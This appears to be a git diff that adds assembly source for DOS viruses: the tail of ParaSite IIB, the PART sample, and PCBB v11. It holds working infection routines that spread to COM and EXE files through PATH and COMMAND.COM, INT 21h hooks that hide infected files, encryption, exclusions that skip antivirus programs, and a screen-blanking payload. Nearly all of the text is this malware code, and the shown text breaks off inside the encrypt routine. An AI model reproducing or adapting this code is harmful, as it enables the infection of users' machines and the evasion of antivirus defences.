DX,SI + ADD DX, OFFSET root_dir - OFFSET orig_path + INT 21H + +infect_root: + MOV [BX+nam_ptr],DI + MOV SI,BX + ADD SI,f_ipec + MOV CX,6 + REPZ MOVSB + JMP hello + +find_path: + POP SI ; Seek and Destroy... + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will +; along and infect the ROOT directory on the default drive. + + JNZ find_path ;If not path, then go to ROOT di + LOOP check_next_4 ;Go back and check for more char + POP SI ;Load in PATH again to look for + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc + MOV BX,SI + ADD SI,wrk_spc ;the File Handle + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the handle to infect! + + +move_subdir: + LODSB ;To tedious work to move into su + NOP + CMP AL,';' ;Does it end with a ; character? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future refer + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS + NOP + MOV [BX+path_ad],SI ;Where is the next subdir? + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspac + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace +hello: + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... The File to infect + MOV CX,3 ;Attributes of Read Only or Hidd + INT 21H + JMP SHORT find_first +joe1: + JMP go + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirec + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + JMP CONT +JOE2: + JMP JOE1 +CONT: + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + INT 21H + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV DX,wrk_spc + ADD DX,SI + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + MOV BX,OFFSET count + CMP BX,0 + JB joe2 + POP CX + XOR AX,AX ;XOR values so that we will give + XOR BX,BX ;poor sucker a hard time trying + XOR DX,DX ;reassemble the source code if h + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program + +vir_dat EQU $ + +Aurther DB "ParaSite IIB - By: Rock Steady" +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +fipec_ DB 'COMMAND.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0 +orig_path DB 64 dup (?) +root_dir DB '\',0 +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +f_ipec = fipec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + CODE ENDS +END VCODE + diff --git a/p/PART.ASM b/p/PART.ASM new file mode 100755 index 0000000..8a31003 --- /dev/null +++ b/p/PART.ASM @@ -0,0 +1,227 @@ + +PAGE 59,132 + +; +; +; PART +; +; Created: 10-Aug-92 +; Passes: 5 Analysis Options on: J +; +; + +data_11e equ 0F42h ;* +data_13e equ 2F42h ;* +data_14e equ 3F42h ;* +data_15e equ 65C4h ;* +data_16e equ 7090h ;* +data_17e equ 75C4h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +part proc far + +start: + esc 5,dh ; coprocessor escape + db 0D6h, 2Fh, 12h, 24h, 01h, 49h + db 44h, 7Eh, 2Eh, 82h, 01h,0F1h + db 0F9h, 90h,0DCh,0C3h, 21h, 74h + db 0EAh, 42h,0EDh, 72h, 81h, 7Bh + db 0B5h,0E4h, 6Eh, 71h, 64h, 4Ah + db 19h,0B6h,0CAh, 28h,0E0h, 17h + db 0C6h,0B5h, 33h, 36h, 09h,0C2h + db 0A3h,0A1h, 21h, 9Eh, 30h, 74h + db 0C5h, 51h,0E1h, 91h, 24h, 99h + db 93h, 0Fh,0D0h, 0Dh, 0Ah, 69h + db 0FEh,0ACh, 27h, 10h,0C5h,0A5h + db 1Eh, 94h,0AEh, 1Bh,0DAh, 4Eh + db 49h, 58h, 2Fh, 1Dh, 65h,0E4h + db 74h,0F6h, 7Eh, 22h, 61h, 2Eh + db 0D2h,0FDh, 56h, 92h + db 2Eh +loc_1: + in ax,0F7h ; port 0F7h ??I/O Non-standard + lds cx,dword ptr [bp+di+75h] ; Load 32 bit ptr + mov [bp+si],es + sbb al,0DEh + sub bp,cx + out 0Eh,ax ; port 0Eh, DMA-1 clr mask reg + adc al,3Eh ; '>' + sub ax,73Eh + and [bx-39h],dh + pop bp + pop bx + mov dx,0D157h + and [bp+si],ax + inc sp + pop si + mov si,ax +;* pop cs ; Dangerous 8088 only + db 0Fh + pop cx + rcl byte ptr [bp+di+53h],cl ; Rotate thru carry + pop di + loop locloop_4 ; Loop if cx > 0 + + sub [bx-17h],ch + xor ax,398Ah + sal bh,1 ; Shift w/zeros fill + aaa ; Ascii adjust + or [bp+si+7AF0h],ch + loopnz $+36h ; Loop if zf=0, cx>0 + + xchg ax,bp + and al,0E4h + jl loc_1 ; Jump if < + call $-52ACh + xchg ax,cx + retn 10E7h + push di + int 3 ; Debug breakpoint + xchg ax,bp + sub dh,bh + inc cx + into ; Int 4 on overflow + aaa ; Ascii adjust + dec sp + db 6Ah + +locloop_4: + push ss + jmp $+422Bh +;* call far ptr sub_1 ;* + db 9Ah, 53h, 67h,0FFh, 82h + db 68h,0E9h, 4Bh,0DCh, 76h,0CBh + db 0E7h, 4Ah,0E4h, 8Ah, 92h,0E2h + db 03h, 54h,0CCh, 85h + +locloop_5: + xor ah,al + push cs + retn + db 6Eh, 5Bh, 7Fh, 01h,0E8h, 7Dh + db 0Fh, 86h, 52h, 56h,0F9h,0AEh + db 2Fh, 95h, 4Bh,0FDh, 77h,0E0h + db 0E8h, 69h,0ADh + db 0BBh, 85h, 97h, 02h, 7Ch,0CBh + db 0A8h, 39h,0DAh, 2Eh, 80h, 4Ah + db 74h, 8Ch, 4Ch, 85h, 6Dh, 42h + db 0FFh, 21h, 35h, 90h,0D0h, 48h + db 0A5h, 24h, 9Dh, 12h, 82h, 89h + db 0Dh,0C4h,0C5h,0E2h,0A7h, 71h + db 15h,0B8h,0CCh, 5Ch,0A7h + db 2Eh +loc_6: + nop + pop ss + or [bp+di],cl + inc sp + test bx,ds:data_11e[di] + and bp,ax + nop + and [bx+si+55h],cl + and al,6Dh ; 'm' + adc dh,[bp+si-77h] + std ; Set direction flag + les si,dword ptr [di] ; Load 32 bit ptr +;* loop locloop_12 ;*Loop if cx > 0 + + db 0E2h, 57h + jno loc_6 ; Jump if not overflw + mov ax,5C3Ch + push di +loc_8: + db 2Eh, 60h, 17h,0F8h, 0Bh,0B4h + db 85h, 8Dh, 42h, 1Fh, 21h,0D5h + db 90h, 30h, 48h, 45h, 24h, 7Dh + db 12h, 62h, 89h,0EDh,0C4h, 25h + db 0E2h, 47h, 71h,0F5h,0B8h + db 2Ch, 5Ch, 47h, 2Eh +loc_9: + jo loc_11 ; Jump if overflow=1 + call $-5BF2h + test di,ds:data_13e[di] + and bp,sp + nop + add [bx+si+75h],cl + and al,4Dh ; 'M' + adc dl,[bp+si-77h] + esc 5,ah ; coprocessor escape + adc ax,77E2h +loc_11: + jno loc_8 ; Jump if not overflw + mov ax,5C1Ch + ja loc_13 ; Jump if above + inc ax + pop ss + esc 0,[bp+di] ; coprocessor escape + xchg ax,sp + test bp,ds:data_14e[di] + and bp,si + nop + adc [bx+si+65h],cl + and al,5Dh ; ']' + adc al,[bp+si-77h] + int 0C4h ; ??INT Non-standard interrupt + add ax,67E2h +;* jno loc_10 ;*Jump if not overflw + db 71h,0D5h + mov ax,5C0Ch + db 67h, 2Eh, 50h, 17h,0C8h, 0Bh + db 84h, 85h,0DDh, 42h, 4Fh, 21h + db 85h, 90h + db 60h, 48h +loc_13: + adc ax,2D24h + adc dh,[bp+si] + mov ds:data_17e[di],di +;* loop locloop_15 ;*Loop if cx > 0 + + db 0E2h, 17h + jno loc_9 ; Jump if not overflw + mov ax,5C7Ch + pop ss + and cs:[bx],dl + mov ax,0F40Bh + test cx,bp + inc dx + pop di + and ds:data_16e[di],dx + dec ax + add ax,3D24h + adc ah,[bp+si] + mov ds:data_15e[di],bp + loop $+9 ; Loop if cx > 0 + +;* jno locloop_12 ;*Jump if not overflw + db 71h,0B5h + mov ax,5C6Ch + pop es + xor cs:[bx],dl + test al,8Bh + in ax,84h ; port 84h ??I/O Non-standard + std ; Set direction flag + inc si + db 61h, 30h, 55h, 81h, 40h, 48h + db 35h,0DAh,0E2h, 12h, 12h, 89h + db 9Dh,0C5h,0A4h,0E7h, 39h,0A0h + db 62h,0B7h,0ACh, 5Ch, 37h, 27h + db 0F4h, 15h, 98h, 0Bh,0D4h, 85h + db 0EDh, 42h, 7Fh, 21h,0B5h, 90h + db 50h, 48h, 25h, 24h, 1Dh, 12h + db 02h, 89h, 8Dh,0C4h, 45h,0E2h + db 27h, 71h, 95h,0B8h, 4Ch, 5Ch + db 27h, 2Eh, 10h, 17h, 88h, 5Eh + db 6Eh, 00h + +part endp + +seg_a ends + + + + end start diff --git a/p/PCBB-11.ASM b/p/PCBB-11.ASM new file mode 100755 index 0000000..ec87750 --- /dev/null +++ b/p/PCBB-11.ASM @@ -0,0 +1,1428 @@ +sec equ 28 +ideal equ 3*1024 ;every file will increase by this ammount of bytes + +; +; +; +; ۲ ۲ ۲ ۲ +; ۲۲ ۲۲ ۲۲ ۲۲ +; ۲۲ ۲ ۲۲ ۲۲ +; ۲ ۲ ۲ ۲ +; ۲ ۲ ۲۲ ۲۲ +; ۲ ۲۲ ۲۲ ۲۲ +; ۲ ۲ ۲ ۲ +; +; +; +; +Ver equ 11 +; + +cpt1 equ $ ;Checkpoint 1 + +enc_start equ $ +org 100h + call dummyjmp1 + +marker db 0 ;com / exe marker (0=com, 1=exe) + +dummyjmp1: pop bx + + cmp byte [bx],0 + je is_a_com + + mov ax,es + add ax,0 +exe_cpt1 equ $-2 + push ax + mov ax,0 +exe_cpt2 equ $-2 + push ax + + push es + pop ds + jmp cont_install + +is_a_com: + push cs + mov ax,100h + push ax + +cont_install: + push ds + + push cs + pop ds + + call one_three + + mov ax,0C001h + mov bx,ax + add ax,07DFFh + + db 0EBh,01,0EBh + + int 21h + + db 0E9h,1,0,0B8h + + cmp bx,0D00Dh + je startup_fail + + call one_three + +; cmp sp,-10h +; jb startup_fail + + mov ax,es + dec ax + mov es,ax + cmp byte es:[0000h],'Z' + jne startup_fail + + mov ax,es:[0003h] + sub ax,tsr_para + jc startup_fail + + mov es:[0003h],ax + sub word ptr es:[0012h],tsr_para + mov es,es:[0012h] + + call one_three + + call $+3 + +cpt3 equ $ ;Checkpoint 3 + + pop si + sub si,(cpt3-cpt1) + mov bx,si + add si,(cpt4-cpt1) + push cs + push si + + mov si,bx + mov cx,offset total-100h + mov di,100h + push es + rep movsb + mov di,offset init + push di + + retf +cpt4 equ $ ;Checkpoint 4 + +startup_fail: + call $+3 +dummycpt1 equ $-offset marker + sub ax,ax + xor bx,bx + sub cx,cx + xor dx,dx + xor di,di + sub bp,bp + pop si + pop ds + push ds + pop es + cmp byte cs:[si-dummycpt1],1 + je file_is_exe + + mov word [100h],20CDh +rpl1 equ $-2 + mov byte [102h],90h +rpl2 equ $-1 + +file_is_exe: + sub si,si + retf + +cpt2 equ $ ;Checkpoint 2 + +;**************************************************************************** +;* Data Area * +;**************************************************************************** + +;sft equ 005Ch ;3Ah + +ofs_scan_crc equ 0050h ;+3 +ofs_chk_ver equ 0053h ;+1 version number +ofs_chk_size equ 0054h ;+2 version size +ofs_chk_sig equ 0056h ;+4 signature + +header equ 005Ah +ofs_first_3 equ 005Ah ;+3 three first bytes in COM +ofs_time equ 008Dh ;+2 +ofs_date equ 008Fh ;+2 +ofs_attr equ 0091h ;2 + +sft_attr equ 04h ;(byte) +sft_time equ 0Dh ;(word) +sft_date equ 0Fh ;(word) +sft_size equ 11h ;(dword) + +; ;CRC signature added by "SCAN /AV" +;scan_sig db 0f0h,0fdh,0c5h,0aah,0ffh,0f0h + +set_sgm: push cs + push ds + + +f_size dw 0 +bb_stat db 0 +cntr dw 0 +r_cntr dw 0,0 + +;;; DISK S. DATA ;;; +x_first3 db ' ' +x_version db 0 +x_size dw 0 +x_sig db ' ' + +stat db 0 +stat2 db 0 + +handle dw 0 + +_handle dw 0 +;_dx dw 0 +;_ds dw 0 +_bytes dw 0 +val_len dw 0,0 +pos dw 0,0 +pos2 dw 0,0 + +append dw 0 + +stealth1st dw 0 + +;;;DISK S DATA ENDS;;; + +;db 'Only The Good Die Young' + + +jmp_to dw 0 + +push_all: + pop cs:[jmp_to] + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + jmp cs:[jmp_to] + +pop_all: + pop cs:[jmp_to] + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp cs:[jmp_to] + + + + + +handle_dir: + popf + call int21 + + pushf + jnc back_handle_dir + +; cmp ax,0 +; jne back_handle_dir + + call stealth_dir_handle + sti +back_handle_dir: + popf + iret + +fcb_dir: + popf + call int21 + + pushf + cmp al,00h + jne back_fcb_dir + + call stealth_dir_fcb + sti +back_fcb_dir: + popf + iret + + + + +;**************************************************************************** +;* Interupt 24 handler * +;**************************************************************************** +ni24: mov al,3 + iret + +;**************************************************************************** +;* Call OLD Interrupt 21 Handler +;**************************************************************************** +int21: + pushf + call dword ptr cs:org21 + ret + +;**************************************************************************** +;* Interupt 21 handler * +;**************************************************************************** +ni21: pushf + +;cmp ah,40h +;je __read + +;jmp no_fcb12 ;no_bogus + + cmp ah,11h + jne no_fcb11 + jmp fcb_dir +no_fcb11: + cmp ah,12h + jne no_fcb12 + jmp fcb_dir +no_fcb12: + +jmp no_bogus + + cmp ah,03Fh + jne no_bogus +__read: jmp _read + +no_bogus: + cmp ah,03Eh + jne body + cmp bx,0C001h + + jne body + mov bx,0D00Dh + popf + stc + retf 2 + +o24 dw 0,0 +o13 dw 0,0 + +body: + call push_all + + push ax + push ds + push dx + push es + push bx + + xor ax,ax + mov es,ax + les bx,es:[24h*4] + + mov cs:o24[0],bx + mov cs:o24[2],es + mov ax,2524h + mov dx,offset ni24 + push cs + pop ds + call int21 + pop bx + pop es + pop dx + pop ds + pop ax + + + cmp ah,3Eh ;close ? + jne vvv + cmp bx,5 + jl exit + + mov ah,45h ;duplicate handle + jmp doit +vvv: cmp ah,56h ;rename ? + je dsdx + cmp ah,43h ;chmod ? + je dsdx + cmp ah,3Dh + jne not_open + + call pas_wp +not_open: + ; cmp ah,3Dh ;open ? + ; je dsdx + cmp ax,4B00h ;execute ? + jne exit + +dsdx: mov ax,3D00h ;open the file +doit: call int21 + jc exit + xchg ax,bx + jmp infect + +exit: + call reset_i24 + +glemmdet: + call pop_all +alfa: + popf + + db 0EAh ;JMP FAR xxxx:xxxx +org21 dw 0,0 + + +avslussen: mov ah,4Ch + int 21h + +one_three: + ret + pushf + push ax + push ds + push dx + + push cs + pop ds + + call $+3 + pop dx + sub dx,($-1)-offset avslussen + push cs + pop ds + + mov ax,2501h + int 21h + inc al + inc al + int 21h + + pop dx + pop ds + pop ax + popf + ret + + +db 'PCBB v11 (c) Hannibal Lechter of Demoralized Youth Norway' + +;**************************************************************************** +;* Try to stealth a HANDLE READ (3Fh) +;**************************************************************************** +_read: + cmp cs:stat,1 + je alfa + mov cs:stat,1 + cmp bx,5 + jl alfa + jcxz alfa + + mov cs:stat2,0 + call read + cmp cs:stat2,0 + je back2 + + popf + pushf + call dword ptr cs:org21 + jc back3 + + pushf + call push_all + + push ds + pop es + push cs + pop ds + + mov bx,pos[0] + mov cx,stealth1st[0] + + mov di,dx + add di,bx + mov si,offset header ;x_first3 + add si,bx + + cld +first_b2: + movsb + dec cx + jcxz first_b1 + inc bx + cmp bx,24 + jl first_b2 +first_b1: + call pop_all + popf +back3: + mov cs:stat,0 + mov cs:stat2,0 + iret +back2: + mov cs:stat,0 + mov cs:stat2,0 + jmp alfa + +;**************************************************************************** +;* Close the file +;**************************************************************************** +close: + push cx + push dx + + mov ax,5701h + mov cx,word cs:[ofs_time] + mov dx,word cs:[ofs_date] + call int21 + +; mov al,byte cs:[ofs_attr] +; mov byte [di+4],al + +; mov ax,4301h +; mov cx,word cs:[ofs_attr] +; call int21 + + pop dx + pop cx + + mov ah,3Eh + call int21 + ret + + +;db 'Now I lay me down to sleep, I pray the lord my soul to keep, If I die before ' +;db 'I wake, I pray the lord my soul to take' + +infect: cld + + mov cs:handle,bx + + mov ax,5700h + int 21h + mov word cs:[ofs_time],cx + mov word cs:[ofs_date],dx + + +;start NOP'ing here... +; push es +; push bx +; +; mov ax,3513h +; int 21h +; +; mov cs:o13[0],bx +; mov cs:o13[2],es +; +; mov ah,13h +; int 2Fh +; push es +; push bx +; int 2Fh +; pop dx +; pop ds +; mov ax,2513h +; int 21h +; +; pop bx +; pop es +; +;stop NOP'ing here... + + mov ax,1220h ;get file-table entry + push bx + push ax + int 2Fh + mov bl,es:[di] + pop ax + sub al,0Ah + int 2Fh + pop bx + + push es + pop ds + + push [di+2] ;save attr & open-mode + push [di+4] + + mov al,[di+4] + mov byte cs:[ofs_attr],al + + cmp word [di+sft_size+2],0 + jne close1v + mov ax,word [di+sft_size] + cmp ah,0F0h + ja close1v + cmp ah,0 + jl close1v + + mov cs:f_size,ax + + cmp word ptr [di+28h],'XE' + jne not_exe + cmp word ptr [di+2Ah],'E' + je check_name + +not_exe: cmp word ptr [di+28h],'OC' + jne close1v ;jne + cmp byte ptr [di+2Ah],'M' +check: je check_name +close1v: jmp close1 + +check_name: cmp byte ptr [di+20h],'V' ;name is V*.* ? + je close1v + cmp byte ptr [di+20h],'F' ;name is F*.* ? + je close1v + + mov cx,7 ;name is *SC*.* ? + mov ax,'CS' + push di + add di,21h + cld +SCloop: dec di + scasw + loopnz SCloop + pop di + je close1v + + mov byte ptr [di+2],2 ;open for read/write + mov byte ptr [di+4],0 ;clear attributes + + cld + jmp read_info +_call1: + jc close2 +; push [di+0Dh] +; push [di+0Fh] + + jmp patch_it +_call0: +; pop [di+0Fh] +; pop [di+0Dh] +close2: + + push es ;close after infection + pop ds + + or byte ptr [di+6],40h ;no time-change + +; pop [di+4] +; pop [di+2] +; push [di+2] +; push [di+4] + +close1: call close ;normal close + + or byte ptr [di+5],40h ;no EOF on next close + pop [di+4] ;restore attribute & open-mode + pop [di+2] + +;start NOP +; lds dx,cs:o13[0] +; mov ax,2513h +; call int21 +;stop NOP + + + jmp exit + +read_info: + push ds + + push ds ;(ds) + pop es + + push cs + pop ds + + mov ah,3Fh + mov cx,18h + mov dx,ofs_first_3 + call int21 + jc failed + cmp al,18h + jne failed + + xchg cx,ax + shr cx,1 + mov si,ofs_first_3 + mov di,offset dummy + +encr_l8b: + lodsw + xor ax,'IF' + xor ax,'HS' + xor ax,'W&' + xor ax,'AH' + xor ax,'EL' + mov [di],ax + inc di + inc di + loop encr_l8b + + mov ax,4202h + mov cx,-1 + mov dx,-10 + call int21 + jc failed + + mov ah,3Fh + mov cx,10 + mov dx,ofs_scan_crc + call int21 + jc failed + cmp al,10 + jne failed + + mov ax,word ptr [ofs_first_3] + not ax + + cmp word ptr [ofs_chk_sig],'CP' ;is word [EOF-4] = 'PC' ? + jne not_infected + cmp word ptr [ofs_chk_sig+2],'BB' ;is word [EOF-2] = 'BB' ? + jne not_infected + jmp failed + +not_infected: + pop ds + clc + jmp _call1 +failed: + pop ds + stc + jmp _call1 + +;db 13,10 +;db "Whoe to you of earth and sea...",13,10 +;db "For the devil sends the beast with wrath,",13,10 +;db "Because he knows the time is short...",13,10 +;db "The people who have understanding,",13,10 +;db "Reckon the number of the beast,",13,10 +;db "Because it is a secret number...",13,10 +;db "It's number is six-hundred and sixty-six!",13,10,36 + +db 'When you are demoralized.... there is NO way out!',13,10,36 + +;޳ +; Keyboard (Int 09h) Handler ޳ +;޳ +key_rout: + pushf + + inc cs:r_cntr[0] + adc cs:r_cntr[2],0 + + inc cs:cntr + cmp cs:cntr,offset total + jl key_b1 + mov cs:bb_stat,1 + mov cs:cntr,0 +key_b1: + cmp cs:bb_stat,0 + je key_b2 + + push ax + push cx + push dx + push ds + + xor ax,ax + mov ds,ax + mov al,byte ptr [417h] + and al,15 + cmp al,15 + jne key_b3 + + mov cs:bb_stat,0 + + mov dx,3DAh + in al,dx + mov dx,3BAh + in al,dx + mov dx,3C0h + mov al,20h + out dx,al +key_b3: + pop ds + pop dx + pop cx + pop ax +key_b2: + popf + + db 0EAh +old_key dw 0,0 ;old KBD vector + + +;޳ +; Timer Tick (Int 1Ch) Handler ޳ +;޳ +tmr_rout: + pushf + + cmp cs:bb_stat,0 + je tmr_b1 + + push ax + push dx + + mov dx,3DAh + in al,dx + mov dx,3BAh + in al,dx + mov dx,3C0h + mov al,0 + out dx,al ;0 = off, 32 = on + + pop dx + pop ax +tmr_b1: + popf + db 0EAh + oldh dw 0,0 ;Old TIMER-TICK vector + +enc_data db 011h,009h,00Dh,0E8h,000h,000h,05Eh,081h,0C6h,00Eh,000h,0B9h,000h + db 000h,080h,034h,000h,046h,0E2h,0FAh,013h,009h,00Fh,0E8h,000h,000h + db 05Bh,081h,0C3h,010h,000h,0B9h,000h,000h,033h,0F6h,080h,030h,000h + db 046h,0E2h,0FAh,015h,004h,012h,0E8h,000h,000h,0B9h,000h,000h,089h + db 0E5h,081h,046h,000h,012h,000h,05Eh,046h,080h,074h,0FFh,000h,0E2h + db 0F9h,015h,001h,012h,0B9h,000h,000h,089h,0E5h,0E8h,000h,000h,081h + db 046h,0FEh,00Dh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,016h + db 001h,013h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,036h,081h,047h + db 0FEh,00Eh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,019h,001h + db 016h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,083h,0EBh,004h,036h + db 081h,047h,002h,011h,000h,05Fh,047h,080h,075h,0FFh,000h,0E2h,0F9h + db 01Dh,009h,014h,0FCh,0EBh,002h,0C6h,006h,0E8h,000h,000h,0B9h,000h + db 000h,05Eh,081h,0C6h,015h,000h,0EBh,001h,0CDh,0B4h,000h,0ACh,032h + db 0C4h,088h,044h,0FFh,0E2h,0F8h + +encr_h_ofs dw 0 +encr_h_cx db 0 +encr_h_xor db 0 +encr_h_len db 0 + +repl0: db 0E8h,0,0 +repl1: jmp near 0100h + +patch_it: + push di + push si + push ds + + push cs + pop ds + + mov marker,0 + + cmp word [ofs_first_3],'MZ' + je exe_calc + cmp word [ofs_first_3],'ZM' + je exe_calc + + mov ax,f_size + sub ax,3 + mov repl0[1],ax + + mov ax,word [ofs_first_3] + mov dl,byte [ofs_first_3+2] + + mov [offset rpl1],ax + mov [offset rpl2],dl + jmp j_encrypt + +oldl0 dw 0 +oldl2 dw 0 + +exe_calc: + mov ax,4202h + xor cx,cx + xor dx,dx + call int21 + + mov oldl0,ax + mov oldl2,dx + + push ax + push dx + + mov ax,word [header+16h] + add ax,10h + mov word [exe_cpt1],ax + mov ax,word [header+14h] + mov word [exe_cpt2],ax + + pop dx + pop ax + push ax + push dx + + add ax,ideal + adc dx,0 + +; mov ax,oldl0 + mov cx,512 + div cx + inc ax + mov word [header+4],ax + mov word [header+2],dx + + pop dx + pop ax + + mov cx,16 + div cx + sub ax,word [header+8] + mov word [header+16h],ax + mov word [header+14h],dx + + mov marker,1 + +j_encrypt: + call encrypt ;encrypt & write + sahf + jc no_write_1st + + mov ax,4200h + xor cx,cx + mov dx,cx + call int21 + + cmp marker,1 + je exe_jump + + mov ah,40h + mov cx,3 + mov dx,offset repl0 ;write "CALL" head + call int21 + jmp alldone + +exe_jump: mov ah,40h + mov cx,18h + mov dx,ofs_first_3 + int 21h +alldone: + and byte cs:[ofs_time],255-31 + or byte cs:[ofs_time],sec +no_write_1st: + pop ds + pop si + pop di + sahf + jmp _call0; ret + +;db 'Blessed is the one who expects nothing, for he shall not be dissapointed$' + +;޳ +; Encrypt & Write ޳ +;޳ +encrypt: + push ds ;Save DS & ES + push es + + push cs ;DS = ES = CS + push cs + pop ds + pop es + + push bx ;Save BX + + cld + call choose_encryption_head ;Choose encryption head +get_enc_key: + db 0E4h,40h + cmp al,0 + je get_enc_key + + mov bh,0 ;BH = 0 + mov bl,encr_h_xor ;BL = internal XOR-ofs + mov byte [si+bx],al ;b [Si+Bx] = Encr. key + mov bl,encr_h_cx ;BL = internal CX-ofs + mov word [si+bx],offset total-10Ah ;w [Si+Bx] = Encr.length + xchg di,ax ;DI = AX + + pop bx + push bx + + push ax + push di + cld + mov di,offset total + mov cx,2048 + mov al,'' + rep stosb + pop di + + xor ch,ch + mov cl,encr_h_len + add cx,offset total-100h + xchg cx,ax + mov cx,ideal + sub cx,ax + mov ah,40h + mov append,cx + mov dx,offset total + mov word [total],1F0Eh + call int21 + pop ax + + mov ah,40h ;Write to handle + pop bx ;restore handle number + xor ch,ch ;CH = 0 + mov cl,encr_h_len ;CL = Length of de-garbler + mov dx,si ;DX = Offset to de-garbler-head + call int21 ;Call DOS + + lahf ;AH = FLAGS + cmp al,cl ;All bytes written? + je success ;yes, then degarbler written + + sahf ;FLAGS = AH + jnc success ;If no error, then... + stc ;...set CY, and... + ret ;...return. +success: + xchg di,ax ;DI = AX + xchg al,ah ;Exchange AL with AH + mov si,100h ;SourceIndex = 100h + mov di,offset total ;DI = End-Of-Code + mov cx,offset total-11Fh ;Encryption length +encrypt_l: + lodsb ;al = [SI], si: +1 + xor al,ah ;garble byte + stosb ;[DI] = al, di: +1 + loop encrypt_l ;and again.... + + xor cx,cx + mov cl,encr_h_len + add cx,(offset total)-100h + add cx,append + mov size,cx + + mov cx,31 ;the last bytes remain + rep movsb ;degarbeled + + mov 